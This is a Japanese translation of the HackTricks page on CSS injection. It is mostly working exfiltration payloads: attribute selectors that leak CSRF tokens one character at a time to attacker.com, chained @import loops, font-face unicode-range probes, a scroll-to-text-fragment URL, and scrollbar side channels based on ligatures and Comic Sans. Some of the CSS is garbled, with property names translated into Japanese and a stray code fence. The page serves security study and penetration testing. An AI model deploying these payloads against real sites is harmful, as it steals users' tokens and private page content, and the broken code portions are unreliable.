CSS Injection

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

Try Hard Security Group


CSSインジェクション

属性セレクタ

CSSセレクタは、input要素のnameおよびvalue属性の値に一致するように作成されます。入力要素の値属性が特定の文字で始まる場合、事前定義された外部リソースが読み込まれます。

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

隠れた要素へのバイパス

この制限を回避するために、~ 汎用の兄弟コンビネータを使用して、隠れた入力要素の後続の兄弟要素をターゲットにすることができます。その後、CSSルールは隠れた入力要素に続くすべての兄弟要素に適用され、背景画像が読み込まれます。

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

CSSインジェクションの事前条件

CSSインジェクション技術を効果的に利用するためには、特定の条件を満たす必要があります:

  1. ペイロードの長さ:CSSインジェクションベクトルは、作成したセレクタを収容するために十分に長いペイロードをサポートする必要があります。

  2. CSSの再評価:新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。

  3. 外部リソース:この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。

盲目的属性セレクタ

この投稿で説明されているように、セレクタ :has:not を組み合わせて、盲目的要素からコンテンツを識別することが可能です。これは、CSSインジェクションをロードしているWebページ内に何が含まれているか全くわからない場合に非常に役立ちます。 また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

以下は、@import 技術を使用して、blind-css-exfiltration からの盲目のページからCSSインジェクションを使用して多くの情報を外部に送信することが可能です。

@import

前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に複数のリンクを送信できる必要があるか、CSSインジェクション脆弱なページにiframeを挿入できる必要があります

ただし、CSS @import を使用して技術の品質を向上させる別の巧妙な技術があります。

これは最初にPepe Vilaによって示され、次のように機能します:

前の技術とは異なり、何度も同じページを異なるペイロードで何十回も読み込むのではなく、ページを1回だけ読み込み、攻撃者のサーバーへのインポートだけで読み込みます(これが被害者に送信するペイロードです):

@import url('//attacker.com:5001/start?');
  1. 攻撃者からいくつかのCSSスクリプトを受け取り、ブラウザがそれを読み込むことになります。

  2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーに再度@import**を行います。

  3. 攻撃者のサーバーはこのリクエストにまだ応答しません。いくつかの文字を漏洩させ、次のものを漏洩させるためにこのインポートに応答するためのペイロードを送信します。

  4. ペイロードの2番目で、属性セレクタ漏洩ペイロードが送信されます。

  5. これにより、攻撃者のサーバーには秘密の最初の文字と最後の文字が送信されます。

  6. 攻撃者のサーバーが秘密の最初と最後の文字を受け取ると、ステップ2で要求されたインポートに応答します。

  7. 応答はステップ2、3、4とまったく同じになりますが、今回は秘密の2番目の文字を見つけ、その直前の文字を試みます。

攻撃者は秘密を完全に漏洩するまで、このループを続けます

元のPepe Vilaのこのコードを悪用するためのコードはこちらで見つけることができます。または、ほぼ同じコメント付きのコードはこちらです。

スクリプトは、属性セレクタを使用して次のような操作が可能なため、毎回2文字を発見しようとします(先頭からと末尾から)。

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

これにより、スクリプトが秘密をより速く漏洩させることができます。

時々、スクリプトは発見された接頭辞+接尾辞が既に完全なフラグであることを正しく検出しない場合があり、それに続いて(接頭辞で)前方に進み、(接尾辞で)後方に進み、ある時点で停止します。 心配いりません、単に出力を確認すれば、そこにフラグが表示されます

その他のセレクタ

CSSセレクタを使用してDOMの部分にアクセスする他の方法:

  • .class-to-search:nth-child(2): これはDOM内のクラスが"class-to-search"である2番目のアイテムを検索します。

  • **:empty**セレクタ:例として、この解説で使用されています

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

参考: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

全体的な意図は、制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース(favicon.ico)が読み込まれない場合にのみ、テキスト(この場合は 'A')がこのフォントで表示されるようにすることです。

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. カスタムフォントの使用:

  • カスタムフォントは、<head>セクション内の<style>タグで@font-faceルールを使用して定義されます。

  • フォントの名前はpocであり、外部エンドポイント(http://attacker.com/?leak)から取得されます。

  • unicode-rangeプロパティは、特定のUnicode文字 'A' をターゲットとするU+0041に設定されています。

  1. フォールバックテキストを持つオブジェクト要素:

  • <body>セクションにid="poc0"を持つ<object>要素が作成されます。この要素はhttp://192.168.0.1/favicon.icoからリソースを読み込もうとします。

  • この要素のfont-familyは、<style>セクションで定義された'poc'に設定されています。

  • リソース(favicon.ico)の読み込みに失敗した場合、<object>タグ内のフォールバックコンテンツ(文字 'A')が表示されます。

  • 外部リソースが読み込めない場合、フォールバックコンテンツ('A')はカスタムフォントpocを使用してレンダリングされます。

スクロールしてテキストフラグメントをスタイリングする

**:target**疑似クラスは、CSS Selectors Level 4 specificationで指定されているように、URLフラグメントによってターゲットされた要素を選択するために使用されます。::target-textは、テキストが明示的にフラグメントによってターゲットされていない限り、どの要素にも一致しません。

攻撃者がスクロールしてテキストフラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストの存在を確認することができるセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることによって行われます:

:target::before { content : url(target.png) }

以下のようなシナリオでは、ページにテキスト「管理者」が存在する場合、サーバーからリソース target.png がリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSと一緒にスクロールテキストフラグメントを埋め込んだ特別に作成されたURLを介して実行できます:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

攻撃は、HTMLインジェクションを操作して、特定のテキスト「Administrator」をScroll-to-textフラグメント(#:~:text=Administrator)を介して狙い、CSSコードを送信します。テキストが見つかった場合、指定されたリソースが読み込まれ、攻撃者にその存在を誤って通知します。

緩和策として、以下の点に注意する必要があります:

  1. 制約されたSTTFマッチング:Scroll-to-text Fragment (STTF)は、単語や文章のみに一致するよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。

  2. トップレベルブラウジングコンテキストへの制限:STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃の試みがユーザーにより目立つようになります。

  3. ユーザーアクティベーションの必要性:STTFはユーザーアクティベーションのジェスチャーが必要であり、攻撃はユーザーによるナビゲーションを介してのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。

これらのメカニズムと潜在的な脆弱性に対する認識は、Webセキュリティを維持し、このような悪用的な手法に対抗するための鍵となります。

詳細については、元のレポートをご確認ください:https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

このテクニックを使用したCTFのエクスプロイトはこちらをご確認いただけます。

@font-face / unicode-range

特定のUnicode値に対して外部フォントを指定することができ、そのUnicode値がページに存在する場合のみ収集されます。例:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

テキストノードの情報漏洩(I):リガチャ

参考: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関わります。このプロセスにはいくつかのステップが含まれます:

  1. カスタムフォントの作成:

  • SVGフォントは、horiz-adv-x属性を持つグリフを持つように作成されます。これにより、2文字のシーケンスを表すグリフの幅が大きく設定されます。

  • 例:<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>というSVGグリフで、"XY"は2文字のシーケンスを示します。

  • これらのフォントは、fontforgeを使用してwoff形式に変換されます。

  1. 幅の変化の検出:

  • CSSを使用して、テキストが折り返されないようにする(white-space: nowrap)と、スクロールバースタイルをカスタマイズします。

  • 水平スクロールバーが現れ、はっきりとスタイルが異なる場合、特定のリガチャ(つまり、特定の文字シーケンス)がテキストに存在することを示すオラクルとして機能します。

  • 関連するCSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. 悪用プロセス:

  • ステップ1: 幅の大きい文字のペア用のフォントが作成されます。

  • ステップ2: 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときに検出されるスクロールバーのトリックが使用され、文字シーケンスが存在することが示されます。

  • ステップ3: リガチャが検出されると、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。

  • ステップ4: 3文字のリガチャの検出が行われます。

  • ステップ5: プロセスが繰り返され、徐々に全体のテキストが明らかになります。

  1. 最適化:

  • 現在の<meta refresh=...を使用した初期化方法は最適ではありません。

  • より効率的なアプローチは、CSSの@importトリックを使用して、悪用のパフォーマンスを向上させることができます。

テキストノードの情報漏洩(II):デフォルトフォントを使用して文字セットを漏洩する(外部アセットを必要としない)

参考: PoC using Comic Sans by @Cgvwzq & @Terjanq

このトリックは、このSlackersスレッドで公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされているデフォルトフォントを使用して漏洩できます:外部のカスタムフォントは必要ありません。

このコンセプトは、アニメーションを利用してdivの幅を段階的に拡大し、1文字ずつ「接尾辞」部分から「接頭辞」部分に移行させることで、テキストを2つのセクションに効果的に分割することに関わります:

  1. 接頭辞: 初期の行。

  2. 接尾辞: 後続の行。

文字の遷移段階は次のように表示されます:

C ADB

CA DB

CAD B

CADB

この遷移中、unicode-rangeトリックが使用され、各新しい文字が接頭辞に加わるたびに識別されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントにフォントを切り替えることによって達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。

この方法は、新しい文字が現れるたびに一意の文字を検出することを可能にしますが、繰り返された文字がどれであるかを特定しません。

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```markdown
```css
5% { 幅: 120px }
6% { 幅: 140px }
7% { 幅: 0px }
}

div::-webkit-scrollbar {
背景: 青色;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
背景: 青色 var(--leak);
}

テキストノードの情報漏洩(III):デフォルトフォントを使用して要素を非表示にすることで文字セットを漏洩する(外部アセットは不要)

参照: これはこの解説記事で不成功な解決策として言及されています

このケースは前のものと非常に似ていますが、この場合、特定の文字を他の文字より大きくする目的は、ボットに押されないようにするためのボタンや読み込まれない画像などを非表示にすることです。そのため、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。

テキストノードの情報漏洩(III):キャッシュタイミングによる文字セットの漏洩(外部アセットは不要)

参照: これはこの解説記事で不成功な解決策として言及されています

この場合、同じオリジンから偽のフォントを読み込むことで、テキスト内に特定の文字が含まれているかどうかを漏洩しようとすることができます。

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

もし一致があれば、フォントは /static/bootstrap.min.css?q=1 から読み込まれます。読み込みは成功しませんが、ブラウザはそれをキャッシュし、キャッシュがなくても 304 not modified のメカニズムがあるため、他のものよりも応答が速くなるはずです。

ただし、キャッシュされた応答と非キャッシュされた応答の時間差が十分に大きくない場合、これは役に立ちません。たとえば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが disk-cache-size=1 フラグを使用していることですが、これは本当に考えられています。

テキストノードの情報漏洩(III): ローカルの「フォント」を数百個読み込むことによる文字セットの漏洩(外部アセットは不要)

参照: これは この解説記事での成功しなかった解決策として言及されています

この場合、一致が発生すると、CSS で同じオリジンから数百の偽のフォントを読み込むように指定できます。この方法で、かかる時間を測定し、文字が表示されるかどうかを次のように確認できます:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

そして、ボットのコードは以下のようになります:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

参考文献

Try Hard Security Group

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!

HackTricksをサポートする他の方法:

Last updated